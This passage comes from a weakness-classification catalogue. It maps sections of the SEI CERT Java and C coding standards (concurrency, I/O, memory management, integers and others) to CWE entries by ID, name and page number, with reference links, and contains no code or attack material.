[REF-820]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 07. Exceptional Behavior (ERR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487665> >.

[REF-1003]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 07. Exceptional Behavior (ERR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487338> >.

## Category-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)

Category ID : 1142

### Summary

Weaknesses in this category are related to the rules and recommendations in the Visibility and Atomicity (VNA) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1133	841
HasMember	B	366	Race Condition within a Thread	1133	856
HasMember	B	413	Improper Resource Locking	1133	950
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1133	1213
HasMember	G	662	Improper Synchronization	1133	1363
HasMember	G	667	Improper Locking	1133	1375

## References

[REF-821]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 08. Visibility and Atomicity (VNA)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487824> >.

## Category-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)

Category ID : 1143

### Summary

Weaknesses in this category are related to the rules and recommendations in the Locking (LCK) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	412	Unrestricted Externally Accessible Lock	1133	947
HasMember	B	609	Double-Checked Locking	1133	1283
HasMember	G	667	Improper Locking	1133	1375
HasMember	B	820	Missing Synchronization	1133	1601

## References

[REF-822]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 09. Locking (LCK)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487666> >.

## Category-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)

Category ID : 1144

### Summary

Weaknesses in this category are related to the rules and recommendations in the Thread APIs (THI) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	V	572	Call to Thread run() instead of start()	1133	1221

### References

[REF-823]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 10. Thread APIs (THI)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487735> >.

## Category-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)

Category ID : 1145

### Summary

Weaknesses in this category are related to the rules and recommendations in the Thread Pools (TPS) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	392	Missing Report of Error Condition	1133	901
HasMember	G	405	Asymmetric Resource Consumption (Amplification)	1133	933
HasMember	B	410	Insufficient Resource Pool	1133	945

### References

[REF-824]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 11. Thread Pools (TPS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487728> >.

## Category-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM)

Category ID : 1146

### Summary

Weaknesses in this category are related to the rules and recommendations in the Thread-Safety Miscellaneous (TSM) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341

### References

[REF-825]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 12. Thread-Safety Miscellaneous (TSM)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelid=88487731> >.



## Category-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)

Category ID : 1147

### Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	V	67	Improper Handling of Windows Device Names	1133	122
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	1133	433
HasMember	B	198	Use of Incorrect Byte Ordering	1133	483
HasMember	B	276	Incorrect Default Permissions	1133	630
HasMember	V	279	Incorrect Execution-Assigned Permissions	1133	636
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1133	836
HasMember	G	377	Insecure Temporary File	1133	876
HasMember	G	404	Improper Resource Shutdown or Release	1133	927
HasMember	G	405	Asymmetric Resource Consumption (Amplification)	1133	933
HasMember	B	459	Incomplete Cleanup	1133	1038
HasMember	B	532	Insertion of Sensitive Information into Log File	1133	1171
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	1133	1343
HasMember	G	705	Incorrect Control Flow Scoping	1133	1437
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	1133	1445
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1502

### References

[REF-826]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 13. Input Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=88487725> >.

[REF-1004]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 13. Input Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=88487330> >.

## Category-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)

Category ID : 1148

### Summary

Weaknesses in this category are related to the rules and recommendations in the Serialization (SER) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership



Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	319	Cleartext Transmission of Sensitive Information	1133	740
HasMember	G	400	Uncontrolled Resource Consumption	1133	912
HasMember	V	499	Serializable Class Containing Sensitive Data	1133	1132
HasMember	B	502	Deserialization of Untrusted Data	1133	1137
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1502

## References

[REF-827]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 14. Serialization (SER)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=88487787> >.

## Category-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)

Category ID : 1149

### Summary

Weaknesses in this category are related to the rules and recommendations in the Platform Security (SEC) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	266	Incorrect Privilege Assignment	1133	605
HasMember	B	272	Least Privilege Violation	1133	623
HasMember	G	732	Incorrect Permission Assignment for Critical Resource	1133	1445

## References

[REF-828]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 15. Platform Security (SEC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=88487683> >.

[REF-1005]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 15. Platform Security (SEC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=88487332> >.

## Category-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)

Category ID : 1150

### Summary

Weaknesses in this category are related to the rules and recommendations in the Runtime Environment (ENV) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	1133	815
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1133	1445

## References

[REF-829]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 16. Runtime Environment (ENV)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487764> >.

## Category-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)

Category ID : 1151

### Summary

Weaknesses in this category are related to the rules and recommendations in the Java Native Interface (JNI) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	V	111	Direct Use of Unsafe JNI	1133	258

## References

[REF-972]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 17. Java Native Interface (JNI)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487346> >.

## Category-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)

Category ID : 1152

### Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341
HasMember	V	259	Use of Hard-coded Password	1133	591
HasMember	C	311	Missing Encryption of Sensitive Data	1133	718
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1133	758
HasMember	C	330	Use of Insufficiently Random Values	1133	772
HasMember	V	332	Insufficient Entropy in PRNG	1133	781

Nature	Type	ID	Name	V	Page
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	1133	789
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	1133	791
HasMember	G	400	Uncontrolled Resource Consumption	1133	912
HasMember	V	401	Missing Release of Memory after Effective Lifetime	1133	921
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1502
HasMember	B	798	Use of Hard-coded Credentials	1133	1573

## References

[REF-830]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 49. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487686> >.

[REF-1006]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 49. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487351> >.

## Category-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD)

Category ID : 1153

### Summary

Weaknesses in this category are related to the rules and recommendations in the Android (DRD) section of the SEI CERT Oracle Secure Coding Standard for Java.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2341

### References

[REF-973]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 50. Android (DRD)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=88487375> >.

## Category-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE)

Category ID : 1155

### Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343

## References

[REF-599]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 01. Preprocessor (PRE)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87152276> >.

[REF-979]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 01. Preprocessor (PRE)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87151965> >.

## Category-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)

Category ID : 1156

### Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	562	Return of Stack Variable Address	1154	1204

### References

[REF-600]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 02. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87152215> >.

[REF-980]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 02. Declarations and Initialization (DCL)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87151966> >.

## Category-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)

Category ID : 1157

### Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	283
HasMember	B	125	Out-of-bounds Read	1154	316
HasMember	B	476	NULL Pointer Dereference	1154	1070
HasMember	B	480	Use of Incorrect Operator	1154	1087

Nature	Type	ID	Name	V	Page
HasMember	V	481	Assigning instead of Comparing	1154	1090
HasMember	B	628	Function Call with Incorrectly Specified Arguments	1154	1316
HasMember	V	685	Function Call With Incorrect Number of Arguments	1154	1411
HasMember	V	686	Function Call With Incorrect Argument Type	1154	1412
HasMember	↔	690	Unchecked Return Value to NULL Pointer Dereference	1154	1418
HasMember	G	704	Incorrect Type Conversion or Cast	1154	1435
HasMember	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472
HasMember	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1154	1654
HasMember	B	908	Use of Uninitialized Resource	1154	1669

## References

[REF-601]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 03. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=87152200> >.

[REF-981]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 03. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=87151976> >.

## Category-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT)

Category ID : 1158

## Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT C Coding Standard.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	131	Incorrect Calculation of Buffer Size	1154	340
HasMember	B	190	Integer Overflow or Wraparound	1154	453
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	1154	460
HasMember	V	192	Integer Coercion Error	1154	463
HasMember	V	194	Unexpected Sign Extension	1154	471
HasMember	V	195	Signed to Unsigned Conversion Error	1154	474
HasMember	B	197	Numeric Truncation Error	1154	479
HasMember	B	369	Divide By Zero	1154	865
HasMember	B	587	Assignment of a Fixed Address to a Pointer	1154	1244
HasMember	↔	680	Integer Overflow to Buffer Overflow	1154	1398
HasMember	B	681	Incorrect Conversion between Numeric Types	1154	1400
HasMember	P	682	Incorrect Calculation	1154	1403
HasMember	G	704	Incorrect Type Conversion or Cast	1154	1435
HasMember	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472

## References

[REF-602]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 04. Integers (INT)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152052> >.

[REF-982]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 04. Integers (INT)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151979> >.

## Category-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)

Category ID : 1159

### Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	197	Numeric Truncation Error	1154	479
HasMember	B	391	Unchecked Error Condition	1154	898
HasMember	B	681	Incorrect Conversion between Numeric Types	1154	1400
HasMember	P	682	Incorrect Calculation	1154	1403

### References

[REF-603]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 05. Floating Point (FLP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152181> >.

[REF-983]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 05. Floating Point (FLP)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151969> >.

## Category-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)

Category ID : 1160

### Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	283
HasMember	V	121	Stack-based Buffer Overflow	1154	303
HasMember	B	123	Write-what-where Condition	1154	310
HasMember	B	125	Out-of-bounds Read	1154	316
HasMember	V	129	Improper Validation of Array Index	1154	327
HasMember	B	468	Incorrect Pointer Scaling	1154	1053
HasMember	B	469	Use of Pointer Subtraction to Determine Size	1154	1055

Nature	Type	ID	Name	V	Page
HasMember		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472
HasMember		786	Access of Memory Location Before Start of Buffer	1154	1544
HasMember		805	Buffer Access with Incorrect Length Value	1154	1585

### References

[REF-604]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 06. Arrays (ARR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152051> >.

[REF-984]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 06. Arrays (ARR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151972> >.

## Category-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)

Category ID : 1161

### Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	283
HasMember		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1154	294
HasMember		121	Stack-based Buffer Overflow	1154	303
HasMember		122	Heap-based Buffer Overflow	1154	307
HasMember		123	Write-what-where Condition	1154	310
HasMember		125	Out-of-bounds Read	1154	316
HasMember		170	Improper Null Termination	1154	411
HasMember		676	Use of Potentially Dangerous Function	1154	1394
HasMember		704	Incorrect Type Conversion or Cast	1154	1435

### References

[REF-605]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 07. Characters and Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152038> >.

[REF-985]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 07. Characters and Strings (STR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151974> >.

## Category-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)

Category ID : 1162



## Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) section of the SEI CERT C Coding Standard.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	131	Incorrect Calculation of Buffer Size	1154	340
HasMember	B	190	Integer Overflow or Wraparound	1154	453
HasMember	V	401	Missing Release of Memory after Effective Lifetime	1154	921
HasMember	G	404	Improper Resource Shutdown or Release	1154	927
HasMember	V	415	Double Free	1154	954
HasMember	V	416	Use After Free	1154	958
HasMember	B	459	Incomplete Cleanup	1154	1038
HasMember	V	467	Use of sizeof() on a Pointer Type	1154	1050
HasMember	V	590	Free of Memory not on the Heap	1154	1248
HasMember	G	666	Operation on Resource in Wrong Phase of Lifetime	1154	1374
HasMember	G	672	Operation on a Resource after Expiration or Release	1154	1386
HasMember	∞	680	Integer Overflow to Buffer Overflow	1154	1398
HasMember	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472
HasMember	B	771	Missing Reference to Active Allocated Resource	1154	1510
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1154	1512
HasMember	V	789	Memory Allocation with Excessive Size Value	1154	1558

## References

[REF-606]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 08. Memory Management (MEM)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87152142> >.

[REF-986]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 08. Memory Management (MEM)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87151930> >.

## Category-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)

Category ID : 1163

## Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT C Coding Standard.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	G	20	Improper Input Validation	1154	19
HasMember	V	67	Improper Handling of Windows Device Names	1154	122
HasMember	B	134	Use of Externally-Controlled Format String	1154	349

Nature	Type	ID	Name	V	Page
HasMember	B	197	Numeric Truncation Error	1154	479
HasMember	B	241	Improper Handling of Unexpected Data Type	1154	555
HasMember	G	404	Improper Resource Shutdown or Release	1154	927
HasMember	B	459	Incomplete Cleanup	1154	1038
HasMember	P	664	Improper Control of a Resource Through its Lifetime	1154	1367
HasMember	G	666	Operation on Resource in Wrong Phase of Lifetime	1154	1374
HasMember	G	672	Operation on a Resource after Expiration or Release	1154	1386
HasMember	V	685	Function Call With Incorrect Number of Arguments	1154	1411
HasMember	V	686	Function Call With Incorrect Argument Type	1154	1412
HasMember	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472
HasMember	B	771	Missing Reference to Active Allocated Resource	1154	1510
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1154	1512
HasMember	V	773	Missing Reference to Active File Descriptor or Handle	1154	1517
HasMember	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1154	1519
HasMember	B	910	Use of Expired File Descriptor	1154	1677

## References

[REF-607]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 09. Input Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152270> >.

[REF-987]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 09. Input Output (FIO)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151932> >.

## Category-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)

Category ID : 1165

## Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) section of the SEI CERT C Coding Standard.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1154	147
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1154	188
HasMember	B	676	Use of Potentially Dangerous Function	1154	1394
HasMember	G	705	Incorrect Control Flow Scoping	1154	1437

## References

[REF-608]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 10. Environment (ENV)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152421> >.

[REF-988]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 10. Environment (ENV)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151968> >.

## Category-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)

Category ID : 1166

### Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	1154	1084
HasMember	G	662	Improper Synchronization	1154	1363

### References

[REF-609]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 11. Signals (SIG)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152469> >.

[REF-989]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 11. Signals (SIG)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151975> >.

## Category-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)

Category ID : 1167

### Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	252	Unchecked Return Value	1154	575
HasMember	B	253	Incorrect Check of Function Return Value	1154	582
HasMember	B	391	Unchecked Error Condition	1154	898
HasMember	V	456	Missing Initialization of a Variable	1154	1029
HasMember	B	676	Use of Potentially Dangerous Function	1154	1394
HasMember	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472

### References

[REF-610]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 12. Error Handling (ERR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152345> >.

[REF-990]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 12. Error Handling (ERR)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87151977> >.

## Category-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)

Category ID : 1168

### Summary

Weaknesses in this category are related to the rules and recommendations in the Application Programming Interfaces (API) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343

### References

[REF-611]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 13. Application Programming Interfaces (API)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87152242> >.

[REF-991]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 13. Application Programming Interfaces (API)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87151980> >.

## Category-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)

Category ID : 1169

### Summary

Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	G	330	Use of Insufficiently Random Values	1154	772
HasMember	B	366	Race Condition within a Thread	1154	856
HasMember	G	377	Insecure Temporary File	1154	876
HasMember	G	667	Improper Locking	1154	1375
HasMember	B	676	Use of Potentially Dangerous Function	1154	1394

### References

[REF-612]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 14. Concurrency (CON)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelId=87152257> >.

[REF-992]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 14. Concurrency (CON)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=87151970> >.

## Category-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)

Category ID : 1170

### Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1154	758
HasMember	C	330	Use of Insufficiently Random Values	1154	772
HasMember	B	331	Insufficient Entropy	1154	778
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	1154	793
HasMember	B	676	Use of Potentially Dangerous Function	1154	1394
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1472

### References

[REF-613]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 48. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=87152201> >.

[REF-993]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 48. Miscellaneous (MSC)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pagelD=87151973> >.

## Category-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)

Category ID : 1171

### Summary

Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) section of the SEI CERT C Coding Standard.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2343
HasMember	B	170	Improper Null Termination	1154	411
HasMember	B	242	Use of Inherently Dangerous Function	1154	557
HasMember	B	252	Unchecked Return Value	1154	575
HasMember	B	253	Incorrect Check of Function Return Value	1154	582

Nature	Type	ID	Name	V	Page
HasMember	B	273	Improper Check for Dropped Privileges	1154	626
HasMember	B	363	Race Condition Enabling Link Following	1154	849
HasMember	B	391	Unchecked Error Condition	1154	898
HasMember	C	667	Improper Locking	1154	1375
HasMember	C	696	Incorrect Behavior Order	1154	1426

### References

[REF-614]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 50. POSIX (POS)". < <https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152405> >.

